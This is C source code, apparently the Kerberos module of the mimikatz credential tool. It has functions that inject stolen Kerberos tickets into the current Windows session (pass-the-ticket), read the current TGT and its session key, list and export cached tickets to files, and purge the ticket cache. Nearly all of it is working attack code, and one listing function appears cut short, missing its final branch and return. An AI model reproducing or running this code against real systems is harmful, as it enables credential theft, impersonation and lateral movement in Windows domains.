NTSTATUS kuhl_m_kerberos_ptt_data(PVOID data, DWORD dataSize) { NTSTATUS status = STATUS_MEMORY_NOT_ALLOCATED, packageStatus; DWORD submitSize, responseSize; PKERB_SUBMIT_TKT_REQUEST pKerbSubmit; PVOID dumPtr; submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + dataSize; if(pKerbSubmit = (PKERB_SUBMIT_TKT_REQUEST) LocalAlloc(LPTR, submitSize)) { pKerbSubmit->MessageType = KerbSubmitTicketMessage; pKerbSubmit->KerbCredSize = dataSize; pKerbSubmit->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST); RtlCopyMemory((PBYTE) pKerbSubmit + pKerbSubmit->KerbCredOffset, data, dataSize); status = LsaCallKerberosPackage(pKerbSubmit, submitSize, &dumPtr, &responseSize, &packageStatus); if(NT_SUCCESS(status)) { status = packageStatus; if(!NT_SUCCESS(status)) PRINT_ERROR(L"LsaCallAuthenticationPackage KerbSubmitTicketMessage / Package : %08x\n", status); } else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbSubmitTicketMessage : %08x\n", status); LocalFree(pKerbSubmit); } return status; }
LONG kuhl_m_kerberos_use_ticket(PBYTE fileData, DWORD fileSize) { NTSTATUS status = STATUS_UNSUCCESSFUL; NTSTATUS packageStatus; DWORD submitSize, responseSize; PKERB_SUBMIT_TKT_REQUEST pKerbSubmit; PVOID dumPtr; submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + fileSize; if(pKerbSubmit = (PKERB_SUBMIT_TKT_REQUEST) LocalAlloc(LPTR, submitSize)) { pKerbSubmit->MessageType = KerbSubmitTicketMessage; pKerbSubmit->KerbCredSize = fileSize; pKerbSubmit->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST); RtlCopyMemory((PBYTE) pKerbSubmit + pKerbSubmit->KerbCredOffset, fileData, pKerbSubmit->KerbCredSize); status = LsaCallKerberosPackage(pKerbSubmit, submitSize, &dumPtr, &responseSize, &packageStatus); if(NT_SUCCESS(status)) { if (NT_SUCCESS(packageStatus)) { kprintf(L"Ticket successfully submitted for current session\n"); status = STATUS_SUCCESS; } else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbSubmitTicketMessage / Package : %08x\n", packageStatus); } else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbSubmitTicketMessage : %08x\n", status); LocalFree(pKerbSubmit); } return status; }
NTSTATUS kuhl_m_kerberos_tgt(int argc, wchar_t * argv[]) { NTSTATUS status, packageStatus; KERB_RETRIEVE_TKT_REQUEST kerbRetrieveRequest = {KerbRetrieveTicketMessage, {0, 0}, {0, 0, NULL}, 0, 0, KERB_ETYPE_NULL, {0, 0}}; PKERB_RETRIEVE_TKT_RESPONSE pKerbRetrieveResponse; DWORD szData; KIWI_KERBEROS_TICKET kiwiTicket = {0}; DWORD i; BOOL isNull = FALSE; status = LsaCallKerberosPackage(&kerbRetrieveRequest, sizeof(KERB_RETRIEVE_TKT_REQUEST), (PVOID *) &pKerbRetrieveResponse, &szData, &packageStatus); kprintf(L"Kerberos TGT of current session : "); if(NT_SUCCESS(status)) { if(NT_SUCCESS(packageStatus)) { kiwiTicket.ServiceName = pKerbRetrieveResponse->Ticket.ServiceName; kiwiTicket.TargetName = pKerbRetrieveResponse->Ticket.TargetName; kiwiTicket.ClientName = pKerbRetrieveResponse->Ticket.ClientName; kiwiTicket.DomainName = pKerbRetrieveResponse->Ticket.DomainName; kiwiTicket.TargetDomainName = pKerbRetrieveResponse->Ticket.TargetDomainName; kiwiTicket.AltTargetDomainName = pKerbRetrieveResponse->Ticket.AltTargetDomainName; kiwiTicket.TicketFlags = pKerbRetrieveResponse->Ticket.TicketFlags; kiwiTicket.KeyType = kiwiTicket.TicketEncType = pKerbRetrieveResponse->Ticket.SessionKey.KeyType; // TicketEncType not in response kiwiTicket.Key.Length = pKerbRetrieveResponse->Ticket.SessionKey.Length; kiwiTicket.Key.Value = pKerbRetrieveResponse->Ticket.SessionKey.Value; kiwiTicket.StartTime = *(PFILETIME) &pKerbRetrieveResponse->Ticket.StartTime; kiwiTicket.EndTime = *(PFILETIME) &pKerbRetrieveResponse->Ticket.EndTime; kiwiTicket.RenewUntil = *(PFILETIME) &pKerbRetrieveResponse->Ticket.RenewUntil; kiwiTicket.Ticket.Length = pKerbRetrieveResponse->Ticket.EncodedTicketSize; kiwiTicket.Ticket.Value = pKerbRetrieveResponse->Ticket.EncodedTicket; kuhl_m_kerberos_ticket_display(&kiwiTicket, FALSE); for(i = 0; !isNull && (i < kiwiTicket.Ticket.Length); i++); isNull |= !kiwiTicket.Ticket.Value[i]; if(isNull) kprintf(L"\n\n\t** Session key is NULL! It means allowtgtsessionkey is not set to 1 **\n"); LsaFreeReturnBuffer(pKerbRetrieveResponse); } else if(packageStatus == SEC_E_NO_CREDENTIALS) kprintf(L"no ticket !\n"); else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbRetrieveTicketMessage / Package : %08x\n", packageStatus); } else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbRetrieveTicketMessage : %08x\n", status); return STATUS_SUCCESS; }
NTSTATUS kuhl_m_kerberos_purge(int argc, wchar_t * argv[]) { NTSTATUS status, packageStatus; KERB_PURGE_TKT_CACHE_REQUEST kerbPurgeRequest = {KerbPurgeTicketCacheMessage, {0, 0}, {0, 0, NULL}, {0, 0, NULL}}; PVOID dumPtr; DWORD responseSize; status = LsaCallKerberosPackage(&kerbPurgeRequest, sizeof(KERB_PURGE_TKT_CACHE_REQUEST), &dumPtr, &responseSize, &packageStatus); if(NT_SUCCESS(status)) { if(NT_SUCCESS(packageStatus)) kprintf(L"Ticket(s) purge for current session is OK\n"); else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbPurgeTicketCacheMessage / Package : %08x\n", packageStatus); } else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbPurgeTicketCacheMessage : %08x\n", status); return STATUS_SUCCESS; }
NTSTATUS kuhl_m_kerberos_ptt(int argc, wchar_t * argv[]) { NTSTATUS status, packageStatus; PBYTE fileData; DWORD fileSize, submitSize, responseSize; PKERB_SUBMIT_TKT_REQUEST pKerbSubmit; PVOID dumPtr; if(argc) { if(kull_m_file_readData(argv[argc - 1], &fileData, &fileSize)) { submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + fileSize; if(pKerbSubmit = (PKERB_SUBMIT_TKT_REQUEST) LocalAlloc(LPTR, submitSize)) { pKerbSubmit->MessageType = KerbSubmitTicketMessage; pKerbSubmit->KerbCredSize = fileSize; pKerbSubmit->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST); RtlCopyMemory((PBYTE) pKerbSubmit + pKerbSubmit->KerbCredOffset, fileData, pKerbSubmit->KerbCredSize); status = LsaCallKerberosPackage(pKerbSubmit, submitSize, &dumPtr, &responseSize, &packageStatus); if(NT_SUCCESS(status)) { if(NT_SUCCESS(packageStatus)) kprintf(L"Ticket \'%s\' successfully submitted for current session\n", argv[0]); else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbSubmitTicketMessage / Package : %08x\n", packageStatus); } else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbSubmitTicketMessage : %08x\n", status); LocalFree(pKerbSubmit); } LocalFree(fileData); } else PRINT_ERROR_AUTO(L"kull_m_file_readData"); } else PRINT_ERROR(L"Missing argument : ticket filename\n"); return STATUS_SUCCESS; }
NTSTATUS kuhl_m_kerberos_list(int argc, wchar_t * argv[]) { NTSTATUS status, packageStatus; KERB_QUERY_TKT_CACHE_REQUEST kerbCacheRequest = {KerbQueryTicketCacheExMessage, {0, 0}}; PKERB_QUERY_TKT_CACHE_EX_RESPONSE pKerbCacheResponse; PKERB_RETRIEVE_TKT_REQUEST pKerbRetrieveRequest; PKERB_RETRIEVE_TKT_RESPONSE pKerbRetrieveResponse; DWORD szData, i; wchar_t * filename; BOOL export = kull_m_string_args_byName(argc, argv, L"export", NULL, NULL); status = LsaCallKerberosPackage(&kerbCacheRequest, sizeof(KERB_QUERY_TKT_CACHE_REQUEST), (PVOID *) &pKerbCacheResponse, &szData, &packageStatus); if(NT_SUCCESS(status)) { if(NT_SUCCESS(packageStatus)) { for(i = 0; i < pKerbCacheResponse->CountOfTickets; i++) { kprintf(L"\n[%08x] - 0x%08x - %s", i, pKerbCacheResponse->Tickets[i].EncryptionType, kuhl_m_kerberos_ticket_etype(pKerbCacheResponse->Tickets[i].EncryptionType)); kprintf(L"\n Start/End/MaxRenew: "); kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].StartTime); kprintf(L" ; "); kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].EndTime); kprintf(L" ; "); kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].RenewTime); kprintf(L"\n Server Name : %wZ @ %wZ", &pKerbCacheResponse->Tickets[i].ServerName, &pKerbCacheResponse->Tickets[i].ServerRealm); kprintf(L"\n Client Name : %wZ @ %wZ", &pKerbCacheResponse->Tickets[i].ClientName, &pKerbCacheResponse->Tickets[i].ClientRealm); kprintf(L"\n Flags %08x : ", pKerbCacheResponse->Tickets[i].TicketFlags); kuhl_m_kerberos_ticket_displayFlags(pKerbCacheResponse->Tickets[i].TicketFlags); if(export) { szData = sizeof(KERB_RETRIEVE_TKT_REQUEST) + pKerbCacheResponse->Tickets[i].ServerName.MaximumLength; if(pKerbRetrieveRequest = (PKERB_RETRIEVE_TKT_REQUEST) LocalAlloc(LPTR, szData)) // LPTR implicates KERB_ETYPE_NULL { pKerbRetrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage; pKerbRetrieveRequest->CacheOptions = /*KERB_RETRIEVE_TICKET_USE_CACHE_ONLY | */KERB_RETRIEVE_TICKET_AS_KERB_CRED; pKerbRetrieveRequest->TicketFlags = pKerbCacheResponse->Tickets[i].TicketFlags; pKerbRetrieveRequest->TargetName = pKerbCacheResponse->Tickets[i].ServerName; pKerbRetrieveRequest->TargetName.Buffer = (PWSTR) ((PBYTE) pKerbRetrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST)); RtlCopyMemory(pKerbRetrieveRequest->TargetName.Buffer, pKerbCacheResponse->Tickets[i].ServerName.Buffer, pKerbRetrieveRequest->TargetName.MaximumLength); status = LsaCallKerberosPackage(pKerbRetrieveRequest, szData, (PVOID *) &pKerbRetrieveResponse, &szData, &packageStatus); if(NT_SUCCESS(status)) { if(NT_SUCCESS(packageStatus)) { if(filename = kuhl_m_kerberos_generateFileName(i, &pKerbCacheResponse->Tickets[i], MIMIKATZ_KERBEROS_EXT)) { if(kull_m_file_writeData(filename, pKerbRetrieveResponse->Ticket.EncodedTicket, pKerbRetrieveResponse->Ticket.EncodedTicketSize)) kprintf(L"\n * Saved to file : %s", filename); LocalFree(filename); } LsaFreeReturnBuffer(pKerbRetrieveResponse); } else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbRetrieveEncodedTicketMessage / Package : %08x\n", packageStatus); } else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbRetrieveEncodedTicketMessage : %08x\n", status); LocalFree(pKerbRetrieveRequest); } } kprintf(L"\n"); } LsaFreeReturnBuffer(pKerbCacheResponse); } else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbQueryTicketCacheEx2Message / Package : %08x\n", packageStatus); }
NTSTATUS kuhl_m_kerberos_list_tickets(PKERB_CALLBACK_CTX callbackCtx, BOOL bExport) { NTSTATUS status, packageStatus; KERB_QUERY_TKT_CACHE_REQUEST kerbCacheRequest = {KerbQueryTicketCacheExMessage, {0, 0}}; PKERB_QUERY_TKT_CACHE_EX_RESPONSE pKerbCacheResponse; PKERB_RETRIEVE_TKT_REQUEST pKerbRetrieveRequest = NULL; PKERB_RETRIEVE_TKT_RESPONSE pKerbRetrieveResponse = NULL; DWORD szData, i; status = LsaCallKerberosPackage(&kerbCacheRequest, sizeof(KERB_QUERY_TKT_CACHE_REQUEST), (PVOID *) &pKerbCacheResponse, &szData, &packageStatus); if(NT_SUCCESS(status)) { if(NT_SUCCESS(packageStatus)) { for(i = 0; i < pKerbCacheResponse->CountOfTickets; i++) { kprintf(L"\n[%08x] - 0x%08x - %s", i, pKerbCacheResponse->Tickets[i].EncryptionType, kuhl_m_kerberos_ticket_etype(pKerbCacheResponse->Tickets[i].EncryptionType)); kprintf(L"\n Start/End/MaxRenew: "); kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].StartTime); kprintf(L" ; "); kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].EndTime); kprintf(L" ; "); kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].RenewTime); kprintf(L"\n Server Name : %wZ @ %wZ", &pKerbCacheResponse->Tickets[i].ServerName, &pKerbCacheResponse->Tickets[i].ServerRealm); kprintf(L"\n Client Name : %wZ @ %wZ", &pKerbCacheResponse->Tickets[i].ClientName, &pKerbCacheResponse->Tickets[i].ClientRealm); kprintf(L"\n Flags %08x : ", pKerbCacheResponse->Tickets[i].TicketFlags); kuhl_m_kerberos_ticket_displayFlags(pKerbCacheResponse->Tickets[i].TicketFlags); if (bExport) { szData = sizeof(KERB_RETRIEVE_TKT_REQUEST)+pKerbCacheResponse->Tickets[i].ServerName.MaximumLength; if (pKerbRetrieveRequest = (PKERB_RETRIEVE_TKT_REQUEST)LocalAlloc(LPTR, szData)) // LPTR implicates KERB_ETYPE_NULL { pKerbRetrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage; pKerbRetrieveRequest->CacheOptions = /*KERB_RETRIEVE_TICKET_USE_CACHE_ONLY | */KERB_RETRIEVE_TICKET_AS_KERB_CRED; pKerbRetrieveRequest->TicketFlags = pKerbCacheResponse->Tickets[i].TicketFlags; pKerbRetrieveRequest->TargetName = pKerbCacheResponse->Tickets[i].ServerName; pKerbRetrieveRequest->TargetName.Buffer = (PWSTR)((PBYTE)pKerbRetrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST)); RtlCopyMemory(pKerbRetrieveRequest->TargetName.Buffer, pKerbCacheResponse->Tickets[i].ServerName.Buffer, pKerbRetrieveRequest->TargetName.MaximumLength); status = LsaCallKerberosPackage(pKerbRetrieveRequest, szData, (PVOID *)&pKerbRetrieveResponse, &szData, &packageStatus); } } if (callbackCtx && callbackCtx->pTicketHandler) callbackCtx->pTicketHandler(callbackCtx->lpContext, &pKerbCacheResponse->Tickets[i], pKerbRetrieveResponse ? &pKerbRetrieveResponse->Ticket : NULL); if (pKerbRetrieveRequest) { LocalFree(pKerbRetrieveRequest); pKerbRetrieveRequest = NULL; } if (pKerbRetrieveResponse) { LsaFreeReturnBuffer(pKerbRetrieveResponse); pKerbRetrieveResponse = NULL; } kprintf(L"\n"); } LsaFreeReturnBuffer(pKerbCacheResponse); } else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbQueryTicketCacheEx2Message / Package : %08x\n", packageStatus); } else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbQueryTicketCacheEx2Message : %08x\n", status); return STATUS_SUCCESS; }